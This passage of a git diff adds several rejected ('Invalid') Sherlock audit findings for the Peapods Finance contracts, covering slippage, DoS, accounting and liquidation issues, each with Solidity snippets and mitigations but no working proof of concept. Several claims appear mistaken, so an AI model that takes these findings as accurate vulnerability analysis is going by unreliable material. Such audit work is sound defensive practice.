+Knowledge of the Vulnerability: The attacker (if present) needs to be aware of the vulnerability—the fact that _amountLpOutMin is being passed as 0, thus disabling slippage protection.
+
+Timing: The attacker needs to time their price manipulation to coincide with a call to _processRewardsToPodLp (either directly or indirectly through deposit or withdraw). The closer in time the manipulation is to the vulnerable transaction, the more effective it will be.
+
+##### NOTE
+It's important to understand that the vulnerability exists even without a malicious actor. Normal market fluctuations can cause price slippage, and the lack of protection will still lead to losses
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Loss of Funds: Users can lose a portion or even a significant amount of their reward token value due to unfavorable price slippage during the conversion to LP tokens
+
+* Reduced LP Token Holdings: Users receive fewer LP tokens than they should have for their reward tokens, diminishing their share of the liquidity pool and potential rewards.
+* The fact that it affects core functionality like reward conversion during deposits and withdrawals makes it even more critical
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+Pass minLpOut to _tokenToPodLp: Pass this calculated minLpOut value as the _amountLpOutMin parameter when calling _tokenToPodLp. This will ensure that the conversion only proceeds if the received amount of LP tokens is greater than or equal to the calculated minimum.
+
+Calculate Expected LP Output: Before calling _tokenToPodLp, calculate the expected amount of LP tokens that should be received in exchange for the reward tokens.
+
diff --git a/invalid/070.md b/invalid/070.md
new file mode 100644
index 0000000..8cb1fbd
--- /dev/null
+++ b/invalid/070.md
@@ -0,0 +1,47 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# _processRewardsToPodLp Gas Griefing: Unbounded _allRewardsTokens Allows DoS
+
+### Summary
+
+A gas griefing vulnerability exists in the interaction between the [`_processRewardsToPodLp function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213C1-L231C6) and the ITokenRewards contract's `getAllRewardsTokens()` function. Because `_processRewardsToPodLp` iterates over all tokens in the `_allRewardsTokens` array, even irrelevant , an attacker (or malicious admin) can inflate the size of this array. This leads to a denial-of-service (DoS) attack, as the gas cost of calling `_processRewardsToPodLp` becomes prohibitively high, preventing legitimate users from using related functions like deposit and withdraw. The vulnerability lies in the TokenRewards contract's control over the `_allRewardsTokens` array, which the IndexUtils contract cannot influence.
+
+### Root Cause
+
+ The unbounded nature of the `_allRewardsTokens` array in the TokenRewards contract, combined with the fact that _processRewardsToPodLp iterates over this entire array, regardless of the relevance or validity of the tokens within it. Specifically, the getAllRewardsTokens() function in TokenRward contract simply returns the _allRewardsTokens array without any size restrictions or filtering, allowing an external actor (potentially malicious) to inflate its size arbitrarily. This, in turn, forces the _processRewardsToPodLp function to perform a large number of unnecessary iterations, leading to excessive gas consumption and potential denial-of-service, thereby affecting the withdraw , redeem and deposit functions which calls it.
+
+### Internal Pre-conditions
+
+_allRewardsTokens get populated:
+_processRewardsToPodLp is Called: A transaction must call a function that, in turn, calls _processRewardsToPodLp
+
+### External Pre-conditions
+
+Control over _allRewardsTokens
+Knowledge of the Vulnerability
+Timing (For Maximum Impact): While not strictly required, the attacker can maximize the impact of their attack by timing it to coincide with periods of high activity on the protocol. This will amplify the denial-of-service effect, as more legitimate users will be affected.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Increased Gas Costs for Legitimate Users
+
+Denial-of-Service (DoS): A large-scale attack, where the attacker adds a massive number of tokens to _allRewardsTokens, can make the gas cost of calling _processRewardsToPodLp prohibitively high. This effectively prevents legitimate users from using the affected functions, causing a DoS
+
+Interruption of Core Functionality: If the affected functions (like deposit and withdraw) are crucial for the protocol's operation, the DoS can severely disrupt the protocol's functionality. Users may be unable to deposit funds, withdraw their assets, or claim rewards
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+separate the list of all reward tokens from the list of active reward tokens and have _processRewardsToPodLp iterate over the active list
diff --git a/invalid/077.md b/invalid/077.md
new file mode 100644
index 0000000..0f7ee6e
--- /dev/null
+++ b/invalid/077.md
@@ -0,0 +1,48 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Insufficient Liquidity Minting Denial-of-Service (DoS) Vulnerability
+
+### Summary
+
+The [`addLPAndStake function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L82) lacks a check for a minimum liquidity threshold before calling _indexFund.addLiquidityV2. This allows for attempts to add liquidity with insufficient amounts of tokens, potentially leading to a revert due to INSUFFICIENT_LIQUIDITY_MINTED and a Denial-of-Service (DoS) vulnerability.
+
+The [`require(_amountOut > 0, "LPM")`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L88) check happens after the addLiquidityV2 call. If addLiquidityV2 reverts due to insufficient liquidity before it can even return a value, the execution will not reach this line.
+
+### Root Cause
+
+Absence of a pre-emptive check for a minimum liquidity threshold before attempting to add liquidity to the AMM.
+
+The core problem is that the current code lacks this pre-emptive check. It attempts to add liquidity regardless of whether the amounts of tokens are sufficient to meet the minimum threshold
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Disrupted Reward Compounding
+
+Loss of Potential Yield: Users are effectively losing out on potential yield. Because rewards are not being compounded, they are not earning the additional interest or rewards they would have received if the compounding process was functioning correctly
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ implement a minimum liquidity threshold check before attempting to add liquidity to the AMM
+
+##### Note
+This bug was reported and mark as resolved but wasnt fully or not fixed..
\ No newline at end of file
diff --git a/invalid/090.md b/invalid/090.md
new file mode 100644
index 0000000..2eebdec
--- /dev/null
+++ b/invalid/090.md
@@ -0,0 +1,45 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Double Counting of Fee in _totalSupply
+
+### Summary
+
+The [`FlashMintfunction`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L424) in the `DecentralizedInde.sol ` it incorrectly reduces the _totalSupply by the fee amount twice. The full amount (which includes the fee) is already burned and its effect on _totalSupply accounted for in the _burn call. The subsequent line ` _totalSupply -= _fee == 0 ? 1 : _fee` causes a redundant reduction, leading to an an incorrect _totalSupply. This can have significant consequences for other parts of the contract that rely on _totalSupply
+
+### Root Cause
+
+The line `_totalSupply -= _fee == 0 ? 1 : _fee;` attempts to adjust _totalSupply after the _burn function has already accounted for the burning of the full amount (including the fee). This leads to a double-counting of the fee's impact on _totalSupply, resulting an incorrect total supply.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+##### Incorrect Accounting:
+ The contract's internal accounting of the total token supply (_totalSupply) will be incorrect. This can lead to:
+ incorrect Distribution
+ Flawed Percentage Calculations
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Remove the problematic line:
+
+```solidity
+_totalSupply -= _fee == 0 ? 1 : _fee;
diff --git a/invalid/091.md b/invalid/091.md
new file mode 100644
index 0000000..3c3b268
--- /dev/null
+++ b/invalid/091.md
@@ -0,0 +1,44 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Missing Bounds Check Allows DoS Attack
+
+### Summary
+
+The `removeIndex function` in the `IndexManager contract` is vulnerable due to a missing bounds check on the _idxInAry input. This allows a malicious authorized user to perform a denial-of-service (DoS) attack by repeatedly calling the function with an out-of-bounds index, preventing legitimate index removals and disrupting the contract's functionality.
+
+### Root Cause
+
+The removeIndex function is vulnerable to lack of input validation. Specifically, the function does not check if the provided _idxInAry value is within the valid range of the indexes array.
+
+### Internal Pre-conditions
+
+An authorized user an account for which authorized[msg.sender] is true
+A non-empty indexes array
+A non-empty indexes array:
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Denial of Service (DoS)
+Operational Disruption
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+add a check to ensure that the _idxInAry input is within the valid range of the indexes
+```
+require(_idxInAry < indexes.length, "Index out of bounds");
\ No newline at end of file
diff --git a/invalid/104.md b/invalid/104.md
new file mode 100644
index 0000000..634ff38
--- /dev/null
+++ b/invalid/104.md
@@ -0,0 +1,53 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# depositToVault Deposit Occurs Before Allocation Check
+
+### Summary
+
+The [`depositToVault function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L312C1-L315C79) in `LendingAssetVault contract`allows the LendingAssetVault owner to deposit assets into vault before checking if the whitelisted vault has sufficient allocation. This allows deposits exceeding the allocated limit, breaking the core allocation management logic. This is a flaw that can lead to loss of funds for the LendingAssetVault.
+
+### Root Cause
+
+ misordering of operations in the depositToVault function.
+```solidity
+ _updateAssetMetadataFromVault(_vault);
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets);
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this));
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX");
+```
+ validation checks are placed after state-changing operations instead of before them
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+##### lost of funds
+ Because the depositToVault function allows deposits beyond the whitelisted vault's allocation, the LendingAssetVault can effectively lose control of assets
+
+ The system might become unbalanced, making it difficult to manage risk and ensure fair distribution of assets.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+Correcting the order of operations within the depositToVault function to ensure the allocation check happens before the deposit is attempted
+``` _updateAssetMetadataFromVault(_vault);
+ require(totalAvailableAssetsForVault(_vault) >= _amountAssets, "MAX"); // Allocation check FIRST
+ IERC20(_asset).safeIncreaseAllowance(_vault, _amountAssets); // Allowance increase ONLY if check passes
+ uint256 _amountShares = IERC4626(_vault).deposit(_amountAssets, address(this)); // Deposit ONLY if check passes
+```
\ No newline at end of file
diff --git a/invalid/107.md b/invalid/107.md
new file mode 100644
index 0000000..e3f809b
--- /dev/null
+++ b/invalid/107.md
@@ -0,0 +1,65 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# "Incorrect Redemption Logic in redeemFromVault Can Lead to Fund Mismanagement and Potential Loss"
+
+### Summary
+
+The [`redeemFromVault function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L325C3-L334C6) in LendingAssetVault.sol contract contains a flawed redemption logic that can lead to incorrect asset tracking and potential fund mismanagement. Specifically:
+
+The _redeemAmt calculation
+```
+ uint256 _redeemAmt = vaultUtilization[_vault] < _amountAssets ? vaultUtilization[_vault] : _amountAssets;
+ ```
+incorrectly limits the redeemable amount based on vaultUtilization[_vault], which tracks borrowed assets rather than actual holdings. This could prevent rightful redemptions or cause inconsistencies in accounting.
+
+The function also attempts to prevent underflow using:
+
+```
+vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _redeemAmt;
+```
+This logic is incorrect because vaultDeposits should not be reduced when redeeming shares—it tracks deposits, not withdrawals.
+Due to these errors, the vault’s internal accounting may become desynchronized, leading to incorrect asset allocation, potential loss of funds, or unintended restrictions on redemptions.
+
+### Root Cause
+
+Misinterpretation of vaultUtilization in _redeemAmt Calculation:
+ ```
+ uint256 _redeemAmt = vaultUtilization[_vault] < _amountAssets ? vaultUtilization[_vault] : _amountAssets;
+```
+This limits _redeemAmt based on vaultUtilization[_vault], which represents borrowed assets rather than the actual redeemable balance, this causes incorrect redemption limits and can restrict rightful withdrawals
+
+The line
+```
+vaultDeposits[_vault] -= _redeemAmt > vaultDeposits[_vault] ? vaultDeposits[_vault]
+```
+vaultDeposits should not be decreased upon redemption, as it tracks total deposited assets.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Incorrect Fund Accounting
+Potential Funds Loss or Lockup
+Excessive Asset Deduction from vaultDeposits:
+ Since vaultDeposits[_vault] is being reduced incorrectly, the vault might reflect lower deposits than reality, preventing users from accessing their rightful funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+A complete overhual of the logic and remove the incorrect limitation
\ No newline at end of file
diff --git a/invalid/108.md b/invalid/108.md
new file mode 100644
index 0000000..9dd3621
--- /dev/null
+++ b/invalid/108.md
@@ -0,0 +1,81 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Incorrect Order of Operations Allows Unauthorized Withdrawals
+
+### Summary
+
+ The [`_withdraw function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L176) contains a critical vulnerability. The _totalAssets are decremented before the availability check. This effectively bypasses the intended check, allowing unauthorized withdrawals of assets.
+
+
+### Root Cause
+
+The root cause of the`_withdraw vulnerability` is a simple logical error in the order of operations. Specifically, the assets (_assets) are deducted from the total available assets (_totalAssets) before the check is performed to ensure that sufficient assets are available (_totalAvailable >= _assets).
+
+```
+ function _withdraw(uint256 _shares, uint256 _assets, address _owner, address _caller, address _receiver) internal {
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+ uint256 _totalAvailable = totalAvailableAssets();
+ _totalAssets -= _assets;
+
+ require(_totalAvailable >= _assets, "AV");
+ _burn(_owner, _shares);
+ IERC20(_asset).safeTransfer(_receiver, _assets);
+ emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+ }
+
+```
+
+Intended Logic: The intended logic is to first check if there are enough available assets to cover the withdrawal and then, if the check passes, deduct the withdrawn assets from the total.
+
+Actual Logic: The actual code first deducts the assets and then performs the check. This means the check is performed against a value of _totalAssets that has already been reduced by the withdrawal amoun
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Complete Loss of Funds: a malicious actor can call the _withdraw function repeatedly
+
+Bypass of Intended Security: The availability check is a fundamental security mechanism meant to prevent over-withdrawal. Bypassing it renders this crucial control useless
+
+Unauthorized Access
+
+Reputational Damage: If exploited, this vulnerability would cause significant financial losses for users and severely damage the reputation of the contract and the project associated with it.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+correct the order of operations. The availability check must happen before the assets are deducted
+
+```
+function _withdraw(uint256 _shares, uint256 _assets, address _owner, address _caller, address _receiver) internal {
+ if (_caller != _owner) {
+ _spendAllowance(_owner, _caller, _shares);
+ }
+ uint256 _totalAvailable = totalAvailableAssets();
+
+ require(_totalAvailable >= _assets, "AV"); // Check availability FIRST
+
+ _totalAssets -= _assets; // THEN decrease total assets
+ _burn(_owner, _shares);
+ IERC20(_asset).safeTransfer(_receiver, _assets);
+ emit Withdraw(_owner, _receiver, _receiver, _assets, _shares);
+}
+```
\ No newline at end of file
diff --git a/invalid/116.md b/invalid/116.md
new file mode 100644
index 0000000..a2bb822
--- /dev/null
+++ b/invalid/116.md
@@ -0,0 +1,77 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# whitelistWithdraw/whitelistDeposit: Inverted Accounting Breaks System Integrity
+
+### Summary
+
+The [`whitelistWithdraw`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L231-L241) and [`whitelistDeposit`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L248-L250) functions contain a critical accounting error. They incorrectly update the vaultDeposits and vaultUtilization variables, leading to an inversion of the intended logic
+
+* `whitelistWithdraw`: Instead of decreasing vaultDeposits and vaultUtilization when a whitelisted vault withdraws assets, it increases them.
+* `whitelistDeposit`: Instead of increasing vaultDeposits and vaultUtilization when a whitelisted vault deposits assets, it decreases them.
+
+
+### Root Cause
+
+there is fundamental logical error in how the functions update the vaultDeposits and vaultUtilization variables. The code implements the opposite of the intended behavior.
+
+whitelistWithdraw: When a whitelisted vault withdraws assets, its recorded deposits and utilization within the LendingAssetVault should decrease. The code increases the vault's deposits and utilization, which is the opposite of what should happen during a withdrawal
+```
+ function whitelistWithdraw(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ // validate max after doing vault accounting above
+ require(totalAvailableAssetsForVault(_vault) >= _assetAmt, "MAX");
+ vaultDeposits[_vault] += _assetAmt;
+ vaultUtilization[_vault] += _assetAmt;
+ _totalAssetsUtilized += _assetAmt;
+ IERC20(_asset).safeTransfer(_vault, _assetAmt);
+ emit WhitelistWithdraw(_vault, _assetAmt);
+ }
+```
+
+
+whitelistDeposit: When a whitelisted vault deposits assets, its recorded deposits and utilization within the LendingAssetVault should increase. The code decreases the vault's deposits and utilization, which is the opposite of what should happen during a deposit
+```
+function whitelistDeposit(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+ vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+ vaultUtilization[_vault] -= _assetAmt;
+ _totalAssetsUtilized -= _assetAmt;
+ IERC20(_asset).safeTransferFrom(_vault, address(this), _assetAmt);
+ emit WhitelistDeposit(_vault, _assetAmt);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Inaccurate Asset Tracking
+
+Incorrect Calculations: Because the deposit and utilization figures are wrong, any calculations that rely on them will also be wrong
+
+Potential for Financial Loss
+
+potential exploitation by Attackers
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+correct the update logic for the vaultDeposits and vaultUtilization variables
\ No newline at end of file
diff --git a/invalid/128.md b/invalid/128.md
new file mode 100644
index 0000000..34a1771
--- /dev/null
+++ b/invalid/128.md
@@ -0,0 +1,54 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# VotingPool: Vulnerability in Burn Logic Leads to Potential Loss of All Voting Power
+
+### Summary
+
+
+The [`VotingPool:: _updateUserState function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L75-L82) incorrectly calculates the amount of vlPEAS tokens to burn when the conversion factor decreases. This can lead to the burning of all a user's vlPEAS tokens, even if they have a substantial amount of the underlying asset staked, resulting in a complete loss of voting power.
+
+### Root Cause
+
+The burn logic in `_updateUserState()` does not properly check user balances before burning vlPEAS voting power.
+
+```
+if (_mintedAmtBefore - _finalNewMintAmt > balanceOf(_user)) {
+ _burn(_user, balanceOf(_user)); // ❌ Burns entire voting power
+} else {
+ _burn(_user, _mintedAmtBefore - _finalNewMintAmt);
+}
+
+
+```
+
+If _mintedAmtBefore - _finalNewMintAmt exceeds balanceOf(_user), the contract burns the entire balance instead of just the required amount.
+This results in a total loss of voting power.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+* Users Can Lose All Voting Power (vlPEAS) Unexpectedly
+* Attackers Can Manipulate Governance by Triggering Voting Power Wipeouts
+* Users Lose the Ability to Participate in Governance
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the burn condition in _updateUserState() to ensure _burn() never exceeds the user's actual balance
diff --git a/invalid/137.md b/invalid/137.md
new file mode 100644
index 0000000..b0f24df
--- /dev/null
+++ b/invalid/137.md
@@ -0,0 +1,56 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# addLeverageFromTkn may Bonds Incorrect Token Due to Hardcoded _podAssets[0]
+
+### Summary
+
+The `addLeverageFromTkn function` in `LeverageManager.sol` allows a user to initiate adding leverage using a specific amount of a token. However, the underlying `_bondToPod function` always bonds the first token listed in the pod's assets (_podAssets[0].token), completely disregarding the token the user intended to use.
+
+The Vulnerability:
+
+This mismatch between the user's intended token and the token actually bonded creates a critical vulnerability. A user can intend to use a valuable token for leverage, but due to the hardcoded _podAssets[0].token in `_bondToPod`, a less valuable (or even worthless) token might be bonded instead, leading to a loss of funds for the user.
+
+### Root Cause
+
+The hardcoded token selection within the [`_bondToPod function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L569).
+ Specifically,
+the line
+ ```
+IERC20 _tkn = IERC20(_podAssets[0].token);
+```
+
+ `addLeverageFromTkn function` is designed to allow the user to specify which token they want to use for bonding to the pod.
+
+_bondToPod's Behavior: _bondToPod function ignores the user's intended token. It always uses the token at index 0 of the _podAssets array (_podAssets[0].token).
+
+By always using the first token in the list, no matter what token the user wants to use. It's a logical error
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Direct Loss of Funds: This is the most significant impact. If a pod contains multiple tokens, and the token at _podAssets[0] is not the token the user intended to use (and is perhaps less valuable), the user will effectively lose value. Their intended token will be transferred, but a different, less valuable token will be bonded to the pod. This is a direct financial loss for the user.
+
+Unexpected Leverage Ratio: The user's leverage ratio will be calculated based on the incorrect token that was bonded
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a new parameter to addLeverageFromTkn to receive this token address.
+Pass Token Address to _bondToPod: The addLeverageFromTkn function should then pass this explicitly provided token address to the _bondToPod function.
diff --git a/invalid/139.md b/invalid/139.md
new file mode 100644
index 0000000..bf5d5ad
--- /dev/null
+++ b/invalid/139.md
@@ -0,0 +1,51 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Potential for Incomplete Leverage Removal Due to block.timestamp Deadline in _unstakeAndRemoveLP
+
+### Summary
+
+The `_unstakeAndRemoveLP function` in `LeverageManager.sol contract`, used as part of the leverage removal process, utilizes block.timestamp directly as a deadline when interacting with indexUtils.unstakeAndRemoveLP
+
+ the risk is that the flash loan's callback (which calls _unstakeAndRemoveLP) might revert due to network congestion or other issues, preventing the entire leverage removal process from completing. This can lead to:
+
+Funds Potentially Stuck: The flash loan might be repaid, but the user's collateral might not be properly unstaked and returned, potentially leading to a temporary lock of funds.
+Incomplete Operation: The leverage removal would be incomplete, possibly leaving the user's position in an undesirable state.
+
+### Root Cause
+
+[`_unstakeAndRemoveLP`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L562-L564) direct and exclusive reliance on block.timestamp as a deadline within the function, when calling `indexUtils.unstakeAndRemoveLP`
+
+```
+ indexUtils.unstakeAndRemoveLP(
+ IDecentralizedIndex(_pod), _spTKNAmtReceived, _podAmtMin, _pairedAssetAmtMin, block.timestamp
+ );
+
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If the indexUtils.unstakeAndRemoveLP call fails due to the block.timestamp deadline (because the callback transaction isn't included in the very next block), the leverage removal process will be incomplete. This could leave the user's position in an undesirable state, potentially with collateral still locked or exposed to liquidation risks.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The mitigation for the potential issues related to the block.timestamp deadline in _unstakeAndRemoveLP focuses on making the leverage removal process more robust against temporary network or timing issues.
+The core principle is to allow for a user-specified deadline instead of relying on the current block's timestamp.
\ No newline at end of file
diff --git a/invalid/298.md b/invalid/298.md
new file mode 100644
index 0000000..370a09f
--- /dev/null
+++ b/invalid/298.md
@@ -0,0 +1,72 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Gas Limit Issue in Cross-Chain Messaging
+
+### Summary
+
+The [`TokenBridge::_buildMsg function`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/ccip/TokenBridge.sol#L76) uses a hardcoded gas limit, retrieved from tokenRouter.targetChainGasLimit(). This inflexibility can lead to several problems:
+
+Transaction Failures: If gas prices on the target chain increase or the complexity of the cross-chain message varies, the hardcoded gas limit might become insufficient, causing transactions to fail.
+
+Gas Waste: If the hardcoded gas limit is unnecessarily high, users will pay for unused gas, leading to unnecessary cost.
+
+Inability to Adapt: The hardcoded gas limit cannot adapt to future network upgrades or changes in gas requirements on the target chain
+
+### Root Cause
+
+_buildMsg function use of a static/hardcoded gas limit from the TokenRouter.sol
+
+### Internal Pre-conditions
+
+TokenRouter State
+Router Existence: The tokenRouter contract address must be valid and point to a deployed contract
+Router Configuration: The tokenRouter's configuration must be appropriate. If using per-chain gas limits, the limits for the relevant chain must be set. If using more complex configurations, those must be correctly configured
+
+
+_bridgeConf Data:
+Valid Configuration: The _bridgeConf (bridge configuration) data passed to _buildMsg must be valid. This usually comes from a lookup in the tokenRouter based on the token and target chain.
+
+ No Invariants Broken:
+
+Contract State: The _buildMsg function itself should not violate any internal invariants of the TokenBridge contract
+
+
+### External Pre-conditions
+
+User Input Validation:
+ Valid Addresses
+ Sufficient Balance
+
+Network Conditions
+ Network Connectivity
+
+ Token Approval:
+
+
+ Fees:
+Sufficient Native Currency: The user must have enough native currency (e.g., ETH on Ethereum) in their wallet to pay the _nativeFees required for the cross-chain message.
+
+
+
+
+### Attack Path
+
+ Gas Griefing (DoS)
+
+
+### Impact
+
+ Transaction Failures
+ Gas Waste
+ Denial-of-Service (DoS) : the hardcoded gas limit might become insufficient for all transactions
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Using Dynamic Gas Estimation
+ This ivolves Attempt to estimate the gas required for the cross-chain message before sending it. This often involves simulating the execution on the target chain
\ No newline at end of file
diff --git a/invalid/366.md b/invalid/366.md
new file mode 100644
index 0000000..443f5be
--- /dev/null
+++ b/invalid/366.md
@@ -0,0 +1,68 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Inadequate Liquidation Incentives for Small Debt Positions
+
+### Summary
+
+The [`FraxlendPairCore.sol::liquidation`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1135-L1153) mechanism/logic lacks adequate incentives for liquidating small debt positions. The liquidation fee structure applies a fixed percentage (cleanLiquidationFee or dirtyLiquidationFee) to all positions regardless of their size. This means that for very small debts, the absolute amount of additional collateral awarded to liquidators might not cover the transaction costs (gas fees) or provide sufficient motivation to undertake the liquidation process
+
+### Root Cause
+
+fixed percentage application of liquidation fees (cleanLiquidationFee and dirtyLiquidationFee) without considering the position size
+
+### Internal Pre-conditions
+
+_addInterest();
+This ensures that all interest is calculated before liquidation,
+
+(, uint256 _exchangeRate,) = _updateExchangeRate();
+ ensure the current collateral-to-asset ratio is used for liquidation calculations.
+
+Liquidation Fee Calculation:
+`_optimisticCollateralForLiquidator = (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;`
+`_collateralForLiquidator = (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;`
+Here, the fees are calculated. These fees are applied uniformly, not accounting for the size of the position, which leads to the lack of incentive for small liquidations
+
+Protocol Fee Calculation:
+
+```
+if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+}
+```
+This further reduces the incentive for liquidators, especially for small positions, as part of the collateral they would receive is taken as a fee for the protocol
+
+### External Pre-conditions
+
+Gas Costs:
+High Transaction Fees
+
+Market Liquidity:
+Asset Liquidity: The liquidity of the asset being liquidated can influence the incentive
+
+
+
+### Attack Path
+
+Attack Path: Creating Unliquidatable Debt
+ * Position Creation: user opens many small borrow positions, each just below the threshold where liquidation becomes unprofitable due to high gas costs relative to the reward. This could be done by
+ Borrowing a small amount of asset tokens with just enough collateral to avoid immediate liquidation
+
+### Impact
+
+Accumulation of Bad Debt:
+Decreased Asset Utilization
+Further Attacks:
+Once user/ attacker finds one vulnerability, they might explore others, potentially leading to more sophisticated attacks or combined exploits
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Dynamic Liquidation Fees
+ Implement a fee structure/ incentive where the percentage increases for smaller positions
\ No newline at end of file
diff --git a/invalid/367.md b/invalid/367.md
new file mode 100644
index 0000000..46c081c
--- /dev/null
+++ b/invalid/367.md
@@ -0,0 +1,112 @@
+Shaggy Walnut Moose
+
+Invalid
+
+# Inadequate Liquidation Handling for Positions in Dead Zones
+
+### Summary
+
+The FraxlendPairCore::liquidation creates a scenario where certain positions become stuck in a "dead zone", where they are neither eligible for clean nor dirty liquidation.
+
+```
+ if (_leftoverCollateral <= 0) {
+ // Determine if we need to adjust any shares
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ if (_sharesToAdjust > 0) {
+ // Write off bad debt
+ _amountToAdjust = (_totalBorrow.toAmount(_sharesToAdjust, false)).toUint128();
+
+ // Note: Ensure this memory struct will be passed to _repayAsset for write to state
+ _totalBorrow.amount -= _amountToAdjust;
+
+ // Effects: write to state
+ totalAsset.amount -= _amountToAdjust;
+ }
+} else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+}
+```
+
+
+
+The else if condition checks if the leftover collateral would be less than minCollateralRequiredOnDirtyLiquidation but greater than zero. If true, it reverts with BadDirtyLiquidation, indicating that these positions cannot be liquidated, thus creating the dead zone where positions are stuck.
+
+### Root Cause
+
+The root cause of the issue related to minCollateralRequiredOnDirtyLiquidation leading to a "dead zone" in the liquidation process.
+This Creates a Range Where Liquidation is Blocked: When the collateral left would be above zero but below this set minimum, no liquidation can proceed, creating a dead zone where positions are neither fully liquidated (clean) nor partially liquidated (dirty)
+
+### Internal Pre-conditions
+
+_addInterest();
+This ensures all interest is up to date before calculating liquidation amounts,
+
+
+(, uint256 _exchangeRate,) = _updateExchangeRate();
+The exchange rate between collateral and asset tokens is updated
+
+
+if (_isSolvent(_borrower, _exchangeRate)) {
+ revert BorrowerSolvent();
+}
+This check ensures the borrower is not solvent before proceeding with liquidation.
+
+
+Dead Zone Check:
+
